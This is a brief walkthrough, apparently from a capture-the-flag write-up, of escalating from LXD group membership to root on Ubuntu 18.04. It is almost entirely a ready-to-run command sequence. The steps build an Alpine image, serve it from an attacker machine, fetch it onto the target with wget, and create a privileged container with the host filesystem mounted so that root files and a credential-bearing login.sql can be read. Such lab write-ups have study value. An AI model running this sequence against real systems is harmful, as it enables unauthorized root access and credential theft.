LXE to root

There is a technique which we can use to get from LXD to root. First of all on our local machine we will have to download alpine and create a compressed file of the alpine image. To do so we can use the following commands.

git clone  https://github.com/saghul/lxd-alpine-builder.git
cd lxd-alpine-builder
./build-alpine

A tar.gz file will have been created in the same folder. We must upload it to the server as follows. First, let's run the following command on our local machine in the same folder as the tar.gz.

python -m SimpleHTTPServer 8888

Then download the image to the server:

cd /tmp
wget 10.10.14.3:8888/apline-v3.10-x86_64-20191008_1227.tar.gz

We replace the tar name with the one that was built on our own system.

Next, run the following commands to get root.

lxc image import ./apline-v3.10-x86_64-20191008_1227.tar.gz --alias rootimage
lxc init rootimage ignite -c security.privileged=true
lxc config device add ignite mydevice disk source=/ path=/mnt/root recursive=true
lxc start ignite
lxc exec ignite /bin/sh

The above commands will import the image and create a privileged container with it. Next, we mount our host file system to the container, so that when we start an sh shell in the container, we can access the entire host file system /mnt/root. Finally, we can navigate to /mnt/root/root/ and read root.txt along with login.sql, which reveals credentials.

Ubuntu 18.04 - 'lxd' Privilege EscalationExploit Database